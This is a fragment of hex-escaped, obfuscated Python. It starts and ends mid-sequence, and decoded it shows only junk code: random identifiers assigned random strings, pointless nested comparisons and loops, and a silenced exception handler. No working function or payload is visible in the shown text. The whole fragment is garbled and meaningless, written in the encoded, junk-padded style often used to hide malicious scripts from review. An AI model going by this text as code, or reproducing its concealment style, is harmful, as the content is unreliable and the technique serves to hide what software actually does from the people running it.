x6b\x46\x42\x53\x43\x6a\x73\x4e\x54\x61\x47\x74\x52\x53\x45\x52\x53\x55\x45\x41\x54\x44\x44\x45\x7a\x64\x44\x46\x52\x4e\x69\x41\x45\x41\x45\x76\x69\x75\x4a\x6e\x51\x58\x4a\x51\x46\x77\x45\x78\x47\x75\x51\x45\x42\x6f\x79\x44\x58\x50\x46\x49\x4f\x67\x55\x4a\x44\x43\x52\x49\x49\x76\x76\x50\x49\x44\x4a\x49\x45\x52\x5a\x43\x52\x78\x52\x50\x56\x44\x74\x49\x55\x46\x6b\x4a\x78\x6a\x75\x7a\x4a\x4a\x75\x42\x79\x52\x49\x43\x6c\x49\x41\x6b\x46\x6f\x46\x51\x54\x49\x70\x78\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x79\x42\x79\x76\x75\x7a\x6b\x44\x7a\x49\x6f\x78\x47\x50\x4e\x48\x53\x70\x54\x79\x76\x51\x4f\x77\x55\x7a\x46\x50\x41\x70\x4a\x75\x42\x43\x75\x53\x68\x49\x4a\x69\x74\x78\x69\x71\x70\x44\x78\x65\x50\x69\x70\x4e\x7a\x4c\x7a\x74\x45\x74\x43\x41\x48\x6f\x55\x78\x56\x44\x78\x4e\x75\x6a\x43\x7a\x69\x79\x5a\x52\x54\x74\x52\x53\x42\x47\x6f\x6b\x49\x4d\x48\x6e\x72\x43\x4d\x75\x7a\x51\x76\x70\x6e\x42\x46\x4c\x53\x74\x71\x49\x47\x4a\x66\x78\x77\x64\x6e\x6d\x6b\x76\x72\x53\x79\x78\x74\x5a\x4d\x79\x78\x41\x73\x42\x4f\x20\x3d\x3d\x20\x78\x6e\x45\x49\x72\x45\x79\x4a\x7a\x72\x6d\x50\x7a\x46\x79\x70\x75\x79\x58\x70\x76\x74\x42\x46\x51\x69\x55\x72\x46\x5a\x65\x6a\x48\x47\x52\x53\x74\x77\x7a\x78\x49\x51\x63\x45\x42\x41\x42\x78\x79\x53\x4a\x71\x41\x44\x72\x7a\x70\x50\x6f\x45\x76\x4a\x7a\x4d\x51\x43\x4f\x51\x69\x52\x53\x6c\x45\x57\x75\x44\x59\x48\x52\x6d\x72\x66\x65\x43\x41\x43\x44\x77\x7a\x42\x6a\x68\x47\x49\x48\x77\x45\x79\x52\x74\x74\x51\x51\x43\x45\x69\x47\x51\x4a\x5a\x43\x52\x4c\x65\x75\x47\x78\x42\x45\x51\x46\x4a\x46\x6c\x79\x4f\x78\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6e\x45\x49\x72\x45\x79\x4a\x7a\x72\x6d\x50\x7a\x46\x79\x70\x75\x79\x58\x70\x76\x74\x42\x46\x51\x69\x55\x72\x46\x5a\x65\x6a\x48\x47\x52\x53\x74\x77\x7a\x78\x49\x51\x63\x45\x42\x41\x42\x78\x79\x53\x4a\x71\x41\x44\x72\x7a\x70\x50\x6f\x45\x76\x4a\x7a\x4d\x51\x43\x4f\x51\x69\x52\x53\x6c\x45\x57\x75\x44\x59\x48\x52\x6d\x72\x66\x65\x43\x41\x43\x44\x77\x7a\x42\x6a\x68\x47\x49\x48\x77\x45\x79\x52\x74\x74\x51\x51\x43\x45\x69\x47\x51\x4a\x5a\x43\x52\x4c\x65\x75\x47\x78\x42\x45\x51\x46\x4a\x46\x6c\x79\x4f\x78\x20\x3d\x20\x6e\x67\x4e\x73\x4a\x42\x44\x74\x53\x4c\x53\x79\x55\x41\x76\x4a\x78\x52\x51\x41\x43\x55\x4a\x48\x50\x41\x42\x63\x7a\x48\x6f\x50\x47\x42\x51\x50\x46\x55\x41\x4f\x7a\x6a\x42\x42\x53\x43\x58\x43\x52\x46\x45\x41\x67\x73\x62\x4e\x50\x74\x47\x73\x50\x6e\x51\x52\x6f\x52\x49\x6e\x52\x75\x51\x42\x45\x48\x53\x44\x45\x77\x7a\x74\x7a\x7a\x4a\x72\x63\x4e\x77\x46\x47\x52\x59\x49\x4a\x79\x46\x56\x71\x43\x54\x57\x69\x46\x47\x6e\x77\x49\x52\x4f\x53\x79\x73\x50\x79\x72\x71\x45\x53\x48\x6b\x50\x68\x6e\x6f\x53\x49\x4d\x53\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x79\x42\x79\x76\x75\x7a\x6b\x44\x7a\x49\x6f\x78\x47\x50\x4e\x48\x53\x70\x54\x79\x76\x51\x4f\x77\x55\x7a\x46\x50\x41\x70\x4a\x75\x42\x43\x75\x53\x68\x49\x4a\x69\x74\x78\x69\x71\x70\x44\x78\x65\x50\x69\x70\x4e\x7a\x4c\x7a\x74\x45\x74\x43\x41\x48\x6f\x55\x78\x56\x44\x78\x4e\x75\x6a\x43\x7a\x69\x79\x5a\x52\x54\x74\x52\x53\x42\x47\x6f\x6b\x49\x4d\x48\x6e\x72\x43\x4d\x75\x7a\x51\x76\x70\x6e\x42\x46\x4c\x53\x74\x71\x49\x47\x4a\x66\x78\x77\x64\x6e\x6d\x6b\x76\x72\x53\x79\x78\x74\x5a\x4d\x79\x78\x41\x73\x42\x4f\x20\x3d\x20\x6e\x67\x4e\x73\x4a\x42\x44\x74\x53\x4c\x53\x79\x55\x41\x76\x4a\x78\x52\x51\x41\x43\x55\x4a\x48\x50\x41\x42\x63\x7a\x48\x6f\x50\x47\x42\x51\x50\x46\x55\x41\x4f\x7a\x6a\x42\x42\x53\x43\x58\x43\x52\x46\x45\x41\x67\x73\x62\x4e\x50\x74\x47\x73\x50\x6e\x51\x52\x6f\x52\x49\x6e\x52\x75\x51\x42\x45\x48\x53\x44\x45\x77\x7a\x74\x7a\x7a\x4a\x72\x63\x4e\x77\x46\x47\x52\x59\x49\x4a\x79\x46\x56\x71\x43\x54\x57\x69\x46\x47\x6e\x77\x49\x52\x4f\x53\x79\x73\x50\x79\x72\x71\x45\x53\x48\x6b\x50\x68\x6e\x6f\x53\x49\x4d\x53\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x78\x6e\x45\x49\x72\x45\x79\x4a\x7a\x72\x6d\x50\x7a\x46\x79\x70\x75\x79\x58\x70\x76\x74\x42\x46\x51\x69\x55\x72\x46\x5a\x65\x6a\x48\x47\x52\x53\x74\x77\x7a\x78\x49\x51\x63\x45\x42\x41\x42\x78\x79\x53\x4a\x71\x41\x44\x72\x7a\x70\x50\x6f\x45\x76\x4a\x7a\x4d\x51\x43\x4f\x51\x69\x52\x53\x6c\x45\x57\x75\x44\x59\x48\x52\x6d\x72\x66\x65\x43\x41\x43\x44\x77\x7a\x42\x6a\x68\x47\x49\x48\x77\x45\x79\x52\x74\x74\x51\x51\x43\x45\x69\x47\x51\x4a\x5a\x43\x52\x4c\x65\x75\x47\x78\x42\x45\x51\x46\x4a\x46\x6c\x79\x4f\x78\x20\x69\x6e\x20\x70\x68\x76\x49\x63\x65\x49\x49\x44\x55\x5a\x54\x6d\x77\x50\x44\x73\x73\x57\x51\x4a\x71\x49\x75\x4f\x59\x52\x4a\x67\x77\x77\x6b\x53\x49\x7a\x51\x4a\x41\x6d\x43\x42\x6d\x47\x43\x47\x4f\x6b\x47\x4d\x75\x56\x53\x46\x54\x77\x66\x42\x76\x46\x50\x43\x42\x50\x42\x52\x70\x59\x47\x76\x48\x4f\x6c\x49\x6e\x42\x42\x46\x46\x49\x48\x57\x48\x78\x43\x44\x50\x78\x44\x53\x49\x41\x46\x49\x4a\x52\x74\x4a\x44\x48\x48\x64\x4d\x42\x50\x4a\x6f\x59\x73\x72\x5a\x58\x50\x42\x46\x70\x48\x50\x41\x77\x77\x42\x6f\x76\x73\x49\x4d\x66\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x6c\x47\x45\x6a\x47\x49\x41\x4d\x78\x56\x4a\x48\x75\x53\x49\x4a\x7a\x4a\x6c\x72\x49\x77\x4a\x77\x77\x77\x4a\x41\x75\x54\x79\x77\x50\x79\x46\x75\x46\x42\x74\x52\x7a\x4d\x43\x6f\x73\x72\x53\x49\x4a\x53\x76\x78\x41\x50\x45\x7a\x47\x49\x75\x4a\x41\x56\x53\x4a\x73\x6b\x70\x57\x41\x71\x52\x74\x50\x78\x44\x6e\x76\x41\x43\x75\x6c\x48\x47\x6c\x6f\x47\x56\x41\x50\x41\x7a\x45\x67\x4b\x49\x7a\x50\x56\x41\x44\x45\x4f\x6e\x42\x78\x7a\x42\x46\x6d\x43\x45\x52\x47\x6a\x6f\x49\x45\x52\x6a\x45\x69\x7a\x76\x78\x6c\x79\x20\x3d\x20\x78\x6e\x45\x49\x72\x45\x79\x4a\x7a\x72\x6d\x50\x7a\x46\x79\x70\x75\x79\x58\x70\x76\x74\x42\x46\x51\x69\x55\x72\x46\x5a\x65\x6a\x48\x47\x52\x53\x74\x77\x7a\x78\x49\x51\x63\x45\x42\x41\x42\x78\x79\x53\x4a\x71\x41\x44\x72\x7a\x70\x50\x6f\x45\x76\x4a\x7a\x4d\x51\x43\x4f\x51\x69\x52\x53\x6c\x45\x57\x75\x44\x59\x48\x52\x6d\x72\x66\x65\x43\x41\x43\x44\x77\x7a\x42\x6a\x68\x47\x49\x48\x77\x45\x79\x52\x74\x74\x51\x51\x43\x45\x69\x47\x51\x4a\x5a\x43\x52\x4c\x65\x75\x47\x78\x42\x45\x51\x46\x4a\x46\x6c\x79\x4f\x78\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x78\x63\x65\x70\x74\x20\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73\x0a\x20\x20\x20\x20\x79\x45\x66\x7a\x6e\x70\x5a\x42\x46\x4a\x77\x46\x46\x6a\x4d\x73\x53\x74\x47\x79\x46\x78\x71\x6f\x47\x49\x76\x73\x53\x73\x72\x71\x74\x4a\x58\x44\x43\x47\x47\x53\x54\x78\x6e\x43\x78\x46\x77\x63\x49\x75\x76\x4f\x73\x44\x4a\x45\x75\x4a\x65\x46\x56\x73\x42\x46\x52\x71\x42\x41\x42\x74\x71\x70\x48\x76\x49\x72\x45\x73\x73\x67\x52\x4b\x51\x73\x4f\x77\x53\x41\x6a\x53\x53\x6a\x64\x49\x74\x78\x77\x79\x71\x43\x46\x51\x65\x58\x50\x58\x72\x72\x77\x4d\x73\x4f\x48\x49\x51\x74\x77\x6c\x68\x6d\x4f\x52\x6d\x78\x4a\x78\x52\x20\x3d\x20\x46\x61\x6c\x73\x65\x0a\x0a\x20\x20\x20\x20\x4a\x4a\x72\x47\x48\x49\x51\x53\x49\x48\x4e\x6b\x4a\x72\x42\x76\x4f\x41\x48\x7a\x52\x6f\x71\x77\x74\x4a\x79\x4a\x42\x52\x44\x46\x7a\x71\x4a\x78\x78\x47\x59\x71\x47\x48\x74\x74\x6c\x41\x44\x47\x52\x73\x79\x51\x76\x53\x47\x47\x46\x76\x78\x45\x49\x44\x78\x54\x42\x45\x6b\x75\x4a\x41\x52\x79\x43\x6d\x53\x77\x4a\x48\x49\x48\x43\x71\x51\x75\x51\x57\x79\x52\x46\x70\x42\x72\x4a\x4f\x4b\x45\x48\x66\x7a\x7a\x7a\x53\x42\x48\x6f\x51\x6b\x4a\x43\x43\x71\x76\x79\x55\x77\x48\x4a\x66\x53\x75\x6a\x41\x77\x75\x52\x53\x50\x20\x3d\x20\x27\x76\x53\x7a\x7a\x56\x42\x71\x77\x46\x71\x75\x76\x79\x63\x51\x4f\x48\x6a\x45\x4f\x46\x48\x59\x6d\x41\x43\x52\x57\x42\x45\x53\x49\x71\x43\x47\x7a\x69\x53\x4c\x7a\x4e\x52\x6d\x7a\x6e\x66\x49\x77\x43\x71\x6c\x49\x43\x52\x6c\x45\x79\x54\x54\x6a\x7a\x4c\x4a\x71\x45\x6c\x48\x50\x4f\x6d\x4a\x72\x73\x42\x51\x47\x4c\x6c\x4d\x4a\x48\x74\x6e\x42\x68\x6a\x6e\x48\x78\x53\x44\x79\x4a\x47\x78\x4a\x6f\x53\x44\x79\x72\x58\x76\x46\x4a\x45\x6b\x6e\x6e\x70\x47\x72\x43\x51\x75\x4a\x45\x50\x79\x7a\x4a\x48\x43\x79\x5a\x73\x76\x27\x0a\x20\x20\x20\x20\x53\x43\x46\x79\x4f\x41\x53\x66\x6c\x70\x48\x59\x75\x6e\x77\x48\x74\x76\x6d\x4f\x53\x46\x43\x68\x44\x58\x59\x51\x70\x50\x75\x46\x6f\x47\x49\x79\x47\x46\x79\x52\x73\x71\x42\x52\x44\x52\x43\x67\x53\x75\x68\x44\x52\x49\x46\x73\x46\x70\x46\x6e\x41\x4a\x76\x6b\x53\x6a\x46\x5a\x6f\x47\x55\x45\x77\x43\x72\x52\x75\x59\x46\x46\x74\x77\x6a\x47\x47\x76\x43\x6e\x68\x51\x4f\x49\x77\x42\x48\x7a\x6f\x6e\x74\x79\x62\x49\x52\x72\x77\x6e\x4d\x77\x54\x6f\x4f\x51\x4f\x79\x50\x77\x49\x6e\x72\x79\x78\x48\x77\x77\x73\x45\x73\x20\x3d\x20\x27\x47\x50\x52\x78\x41\x44\x41\x48\x51\x49\x66\x4d\x42\x6c\x4f\x75\x52\x7a\x49\x4a\x4f\x61\x6f\x51\x52\x75\x57\x74\x6b\x51\x43\x47\x6d\x48\x52\x73\x50\x43\x4c\x41\x4a\x49\x44\x58\x53\x64\x52\x4f\x74\x4a\x45\x76\x41\x52\x58\x73\x51\x70\x6c\x75\x43\x69\x72\x46\x7a\x6c\x55\x48\x47\x45\x41\x73\x53\x53\x69\x42\x49\x76\x6a\x43\x6e\x42\x42\x79\x72\x4f\x67\x47\x51\x42\x50\x43\x45\x46\x68\x44\x58\x76\x42\x6a\x69\x47\x49\x7a\x48\x43\x4a\x44\x55\x42\x50\x51\x71\x65\x75\x50\x46\x73\x48\x71\x78\x49\x49\x6b\x72\x74\x4e\x27\x0a\x20\x20\x20\x20\x79\x52\x52\x46\x59\x48\x43\x4e\x75\x58\x44\x51\x41\x46\x73\x6a\x78\x53\x4f\x52\x49\x4f\x4e\x4e\x4a\x54\x47\x4a\x72\x51\x73\x76\x6f\x53\x6c\x45\x44\x74\x7a\x4c\x74\x71\x75\x70\x48\x6e\x77\x75\x48\x79\x48\x50\x42\x5a\x70\x4d\x74\x4f\x4a\x76\x46\x42\x78\x77\x7a\x72\x4a\x51\x45\x56\x78\x78\x41\x55\x52\x75\x53\x70\x42\x70\x44\x45\x79\x4f\x55\x46\x44\x48\x69\x43\x45\x4a\x49\x6c\x51\x76\x4a\x4a\x51\x69\x75\x79\x75\x42\x50\x67\x75\x46\x43\x6d\x46\x52\x71\x52\x46\x77\x79\x51\x7a\x65\x6d\x46\x56\x52\x67\x6a\x72\x20\x3d\x20\x27\x46\x55\x74\x75\x49\x78\x70\x45\x74\x53\x54\x49\x52\x78\x43\x51\x68\x77\x48\x45\x77\x42\x6d\x76\x57\x41\x53\x75\x4a\x52\x43\x52\x41\x46\x66\x44\x43\x71\x6f\x4d\x49\x49\x43\x51\x50\x42\x70\x57\x41\x44\x58\x4f\x6e\x6e\x79\x79\x41\x47\x65\x49\x52\x52\x50\x4f\x6e\x6f\x42\x49\x4a\x76\x41\x79\x42\x48\x73\x4a\x46\x4f\x53\x45\x43\x51\x77\x72\x78\x74\x78\x76\x47\x4a\x48\x74\x49\x4f\x57\x67\x6e\x6f\x79\x41\x75\x53\x42\x76\x41\x51\x51\x59\x6d\x53\x55\x41\x79\x7a\x47\x6d\x45\x42\x42\x48\x72\x4c\x56\x48\x4d\x75\x7a\x27\x0a\x20\x20\x20\x20\x48\x57\x46\x4f\x50\x78\x69\x54\x4a\x71\x54\x49\x6d\x4e\x4f\x42\x56\x54\x43\x45\x61\x53\x54\x79\x75\x4a\x68\x41\x43\x76\x42\x78\x42\x78\x48\x52\x41\x71\x41\x4a\x4f\x77\x43\x44\x75\x6d\x53\x44\x44\x79\x53\x46\x68\x74\x46\x50\x47\x50\x6a\x44\x49\x79\x44\x42\x72\x46\x74\x52\x73\x71\x42\x41\x6b\x53\x51\x53\x52\x42\x44\x78\x52\x47\x6a\x6b\x41\x47\x5a\x71\x72\x6c\x48\x68\x45\x44\x79\x4a\x59\x74\x49\x75\x43\x53\x45\x77\x42\x75\x76\x79\x4f\x69\x56\x47\x50\x48\x44\x48\x6a\x41\x51\x43\x4a\x50\x52\x76\x51\x6d\x49\x20\x3d\x20\x27\x52\x43\x76\x41\x64\x43\x44\x6f\x47\x6e\x53\x43\x51\x76\x74\x71\x74\x53\x47\x6a\x79\x48\x78\x71\x75\x51\x50\x71\x47\x68\x49\x41\x72\x78\x55\x48\x54\x69\x68\x74\x53\x4e\x59\x41\x6a\x78\x56\x51\x77\x75\x4e\x79\x63\x53\x5a\x52\x53\x41\x51\x71\x45\x47\x46\x53\x6d\x6c\x46\x46\x6b\x51\x41\x42\x53\x49\x49\x4a\x51\x77\x43\x54\x45\x48\x72\x4f\x76\x67\x43\x76\x4a\x50\x7a\x49\x6e\x43\x51\x54\x49\x46\x42\x67\x59\x44\x50\x52\x43\x43\x4a\x52\x47\x73\x45\x53\x72\x41\x69\x48\x6f\x44\x49\x4a\x44\x42\x56\x49\x49\x77\x50\x27\x0a\x20\x20\x20\x20\x52\x46\x74\x42\x4e\x41\x41\x47\x41\x44\x4e\x4a\x51\x70\x48\x51\x4e\x42\x68\x54\x71\x43\x6a\x49\x4e\x53\x50\x53\x6a\x4f\x47\x44\x75\x55\x6e\x6a\x43\x6f\x7a\x42\x70\x47\x53\x42\x56\x62\x67\x47\x42\x7a\x53\x6f\x68\x6e\x76\x59\x77\x76\x51\x76\x74\x72\x45\x51\x53\x45\x43\x76\x4a\x46\x73\x74\x47\x74\x71\x4a\x54\x71\x77\x47\x53\x6c\x42\x4b\x43\x50\x6a\x70\x75\x48\x45\x44\x46\x4a\x51\x73\x58\x71\x72\x41\x45\x78\x57\x77\x46\x50\x55\x45\x49\x46\x55\x52\x4f\x46\x79\x42\x4a\x73\x77\x79\x51\x42\x4e\x46\x66\x70\x51\x20\x3d\x20\x27\x50\x51\x42\x50\x7a\x45\x6d\x50\x6f\x44\x50\x4f\x70\x7a\x47\x76\x54\x57\x6e\x4f\x41\x7a\x70\x6c\x46\x54\x69\x46\x78\x76\x45\x53\x6d\x77\x77\x50\x44\x48\x65\x43\x42\x59\x79\x75\x6f\x72\x44\x72\x79\x70\x41\x52\x4e\x6d\x4d\x78\x7a\x6e\x75\x53\x45\x41\x7a\x66\x42\x51\x4d\x46\x51\x50\x72\x73\x6a\x6f\x51\x45\x76\x48\x76\x72\x6e\x70\x47\x76\x4a\x53\x73\x49\x41\x53\x43\x6e\x75\x43\x47\x54\x53\x7a\x69\x70\x46\x46\x46\x52\x52\x41\x58\x48\x56\x70\x78\x7a\x67\x79\x47\x49\x69\x50\x6c\x4a\x43\x51\x4e\x49\x69\x44\x4e\x27\x0a\x20\x20\x20\x20\x4d\x45\x4c\x76\x43\x79\x49\x6d\x79\x47\x71\x44\x45\x7a\x72\x64\x49\x42\x72\x49\x50\x4f\x4a\x54\x75\x45\x69\x4a\x7a\x53\x71\x76\x49\x55\x48\x55\x51\x4f\x49\x4c\x46\x79\x41\x47\x50\x43\x45\x4e\x51\x52\x70\x41\x47\x49\x45\x73\x50\x47\x47\x52\x49\x53\x4a\x78\x44\x4d\x52\x59\x46\x42\x74\x43\x45\x52\x43\x44\x71\x75\x78\x4f\x7a\x50\x62\x72\x71\x66\x76\x49\x52\x69\x75\x47\x53\x76\x48\x4b\x51\x76\x73\x69\x48\x51\x68\x67\x6f\x74\x53\x42\x49\x41\x43\x6c\x6d\x70\x4a\x48\x78\x41\x42\x7a\x71\x6c\x79\x4f\x47\x49\x49\x20\x3d\x20\x27\x47\x49\x4d\x46\x74\x4f\x53\x45\x76\x45\x43\x71\x48\x52\x78\x73\x78\x41\x49\x74\x77\x51\x48\x79\x53\x45\x71\x47\x41\x79\x4a\x74\x46\x51\x45\x53\x44\x70\x47\x6f\x43\x6d\x44\x6b\x47\x53\x59\x4b\x78\x51\x77\x41\x43\x70\x79\x6d\x67\x53\x45\x4f\x4a\x78\x78\x78\x6d\x71\x78\x41\x73\x4b\x53\x79\x41\x55\x4e\x69\x70\x6d\x48\x69\x54\x4f\x74\x75\x56\x51\x74\x74\x78\x53\x41\x4a\x6d\x7a\x45\x4a\x48\x48\x73\x49\x44\x52\x53\x48\x48\x50\x53\x48\x53\x51\x6f\x4a\x46\x47\x7a\x77\x53\x70\x44\x4f\x52\x57\x4d\x52\x43\x4f\x66\x27\x0a\x20\x20\x20\x20\x69\x66\x20\x79\x52\x52\x46\x59\x48\x43\x4e\x75\x58\x44\x51\x41\x46\x73\x6a\x78\x53\x4f\x52\x49\x4f\x4e\x4e\x4a\x54\x47\x4a\x72\x51\x73\x76\x6f\x53\x6c\x45\x44\x74\x7a\x4c\x74\x71\x75\x70\x48\x6e\x77\x75\x48\x79\x48\x50\x42\x5a\x70\x4d\x74\x4f\x4a\x76\x46\x42\x78\x77\x7a\x72\x4a\x51\x45\x56\x78\x78\x41\x55\x52\x75\x53\x70\x42\x70\x44\x45\x79\x4f\x55\x46\x44\x48\x69\x43\x45\x4a\x49\x6c\x51\x76\x4a\x4a\x51\x69\x75\x79\x75\x42\x50\x67\x75\x46\x43\x6d\x46\x52\x71\x52\x46\x77\x79\x51\x7a\x65\x6d\x46\x56\x52\x67\x6a\x72\x20\x3d\x3d\x20\x48\x57\x46\x4f\x50\x78\x69\x54\x4a\x71\x54\x49\x6d\x4e\x4f\x42\x56\x54\x43\x45\x61\x53\x54\x79\x75\x4a\x68\x41\x43\x76\x42\x78\x42\x78\x48\x52\x41\x71\x41\x4a\x4f\x77\x43\x44\x75\x6d\x53\x44\x44\x79\x53\x46\x68\x74\x46\x50\x47\x50\x6a\x44\x49\x79\x44\x42\x72\x46\x74\x52\x73\x71\x42\x41\x6b\x53\x51\x53\x52\x42\x44\x78\x52\x47\x6a\x6b\x41\x47\x5a\x71\x72\x6c\x48\x68\x45\x44\x79\x4a\x59\x74\x49\x75\x43\x53\x45\x77\x42\x75\x76\x79\x4f\x69\x56\x47\x50\x48\x44\x48\x6a\x41\x51\x43\x4a\x50\x52\x76\x51\x6d\x49\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x4d\x45\x4c\x76\x43\x79\x49\x6d\x79\x47\x71\x44\x45\x7a\x72\x64\x49\x42\x72\x49\x50\x4f\x4a\x54\x75\x45\x69\x4a\x7a\x53\x71\x76\x49\x55\x48\x55\x51\x4f\x49\x4c\x46\x79\x41\x47\x50\x43\x45\x4e\x51\x52\x70\x41\x47\x49\x45\x73\x50\x47\x47\x52\x49\x53\x4a\x78\x44\x4d\x52\x59\x46\x42\x74\x43\x45\x52\x43\x44\x71\x75\x78\x4f\x7a\x50\x62\x72\x71\x66\x76\x49\x52\x69\x75\x47\x53\x76\x48\x4b\x51\x76\x73\x69\x48\x51\x68\x67\x6f\x74\x53\x42\x49\x41\x43\x6c\x6d\x70\x4a\x48\x78\x41\x42\x7a\x71\x6c\x79\x4f\x47\x49\x49\x20\x69\x6e\x20\x52\x46\x74\x42\x4e\x41\x41\x47\x41\x44\x4e\x4a\x51\x70\x48\x51\x4e\x42\x68\x54\x71\x43\x6a\x49\x4e\x53\x50\x53\x6a\x4f\x47\x44\x75\x55\x6e\x6a\x43\x6f\x7a\x42\x70\x47\x53\x42\x56\x62\x67\x47\x42\x7a\x53\x6f\x68\x6e\x76\x59\x77\x76\x51\x76\x74\x72\x45\x51\x53\x45\x43\x76\x4a\x46\x73\x74\x47\x74\x71\x4a\x54\x71\x77\x47\x53\x6c\x42\x4b\x43\x50\x6a\x70\x75\x48\x45\x44\x46\x4a\x51\x73\x58\x71\x72\x41\x45\x78\x57\x77\x46\x50\x55\x45\x49\x46\x55\x52\x4f\x46\x79\x42\x4a\x73\x77\x79\x51\x42\x4e\x46\x66\x70\x51\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x4d\x45\x4c\x76\x43\x79\x49\x6d\x79\x47\x71\x44\x45\x7a\x72\x64\x49\x42\x72\x49\x50\x4f\x4a\x54\x75\x45\x69\x4a\x7a\x53\x71\x76\x49\x55\x48\x55\x51\x4f\x49\x4c\x46\x79\x41\x47\x50\x43\x45\x4e\x51\x52\x70\x41\x47\x49\x45\x73\x50\x47\x47\x52\x49\x53\x4a\x78\x44\x4d\x52\x59\x46\x42\x74\x43\x45\x52\x43\x44\x71\x75\x78\x4f\x7a\x50\x62\x72\x71\x66\x76\x49\x52\x69\x75\x47\x53\x76\x48\x4b\x51\x76\x73\x69\x48\x51\x68\x67\x6f\x74\x53\x42\x49\x41\x43\x6c\x6d\x70\x4a\x48\x78\x41\x42\x7a\x71\x6c\x79\x4f\x47\x49\x49\x20\x3d\x3d\x20\x48\x57\x46\x4f\x50\x78\x69\x54\x4a\x71\x54\x49\x6d\x4e\x4f\x42\x56\x54\x43\x45\x61\x53\x54\x79\x75\x4a\x68\x41\x43\x76\x42\x78\x42\x78\x48\x52\x41\x71\x41\x4a\x4f\x77\x43\x44\x75\x6d\x53\x44\x44\x79\x53\x46\x68\x74\x46\x50\x47\x50\x6a\x44\x49\x79\x44\x42\x72\x46\x74\x52\x73\x71\x42\x41\x6b\x53\x51\x53\x52\x42\x44\x78\x52\x47\x6a\x6b\x41\x47\x5a\x71\x72\x6c\x48\x68\x45\x44\x79\x4a\x59\x74\x49\x75\x43\x53\x45\x77\x42\x75\x76\x79\x4f\x69\x56\x47\x50\x48\x44\x48\x6a\x41\x51\x43\x4a\x50\x52\x76\x51\x6d\x49\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x52\x46\x74\x42\x4e\x41\x41\x47\x41\x44\x4e\x4a\x51\x70\x48\x51\x4e\x42\x68\x54\x71\x43\x6a\x49\x4e\x53\x50\x53\x6a\x4f\x47\x44\x75\x55\x6e\x6a\x43\x6f\x7a\x42\x70\x47\x53\x42\x56\x62\x67\x47\x42\x7a\x53\x6f\x68\x6e\x76\x59\x77\x76\x51\x76\x74\x72\x45\x51\x53\x45\x43\x76\x4a\x46\x73\x74\x47\x74\x71\x4a\x54\x71\x77\x47\x53\x6c\x42\x4b\x43\x50\x6a\x70\x75\x48\x45\x44\x46\x4a\x51\x73\x58\x71\x72\x41\x45\x78\x57\x77\x46\x50\x55\x45\x49\x46\x55\x52\x4f\x46\x79\x42\x4a\x73\x77\x79\x51\x42\x4e\x46\x66\x70\x51\x20\x3d\x20\x4a\x4a\x72\x47\x48\x49\x51\x53\x49\x48\x4e\x6b\x4a\x72\x42\x76\x4f\x41\x48\x7a\x52\x6f\x71\x77\x74\x4a\x79\x4a\x42\x52\x44\x46\x7a\x71\x4a\x78\x78\x47\x59\x71\x47\x48\x74\x74\x6c\x41\x44\x47\x52\x73\x79\x51\x76\x53\x47\x47\x46\x76\x78\x45\x49\x44\x78\x54\x42\x45\x6b\x75\x4a\x41\x52\x79\x43\x6d\x53\x77\x4a\x48\x49\x48\x43\x71\x51\x75\x51\x57\x79\x52\x46\x70\x42\x72\x4a\x4f\x4b\x45\x48\x66\x7a\x7a\x7a\x53\x42\x48\x6f\x51\x6b\x4a\x43\x43\x71\x76\x79\x55\x77\x48\x4a\x66\x53\x75\x6a\x41\x77\x75\x52\x53\x50\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x48\x57\x46\x4f\x50\x78\x69\x54\x4a\x71\x54\x49\x6d\x4e\x4f\x42\x56\x54\x43\x45\x61\x53\x54\x79\x75\x4a\x68\x41\x43\x76\x42\x78\x42\x78\x48\x52\x41\x71\x41\x4a\x4f\x77\x43\x44\x75\x6d\x53\x44\x44\x79\x53\x46\x68\x74\x46\x50\x47\x50\x6a\x44\x49\x79\x44\x42\x72\x46\x74\x52\x73\x71\x42\x41\x6b\x53\x51\x53\x52\x42\x44\x78\x52\x47\x6a\x6b\x41\x47\x5a\x71\x72\x6c\x48\x68\x45\x44\x79\x4a\x59\x74\x49\x75\x43\x53\x45\x77\x42\x75\x76\x79\x4f\x69\x56\x47\x50\x48\x44\x48\x6a\x41\x51\x43\x4a\x50\x52\x76\x51\x6d\x49\x20\x3d\x20\x53\x43\x46\x79\x4f\x41\x53\x66\x6c\x70\x48\x59\x75\x6e\x77\x48\x74\x76\x6d\x4f\x53\x46\x43\x68\x44\x58\x59\x51\x70\x50\x75\x46\x6f\x47\x49\x79\x47\x46\x79\x52\x73\x71\x42\x52\x44\x52\x43\x67\x53\x75\x68\x44\x52\x49\x46\x73\x46\x70\x46\x6e\x41\x4a\x76\x6b\x53\x6a\x46\x5a\x6f\x47\x55\x45\x77\x43\x72\x52\x75\x59\x4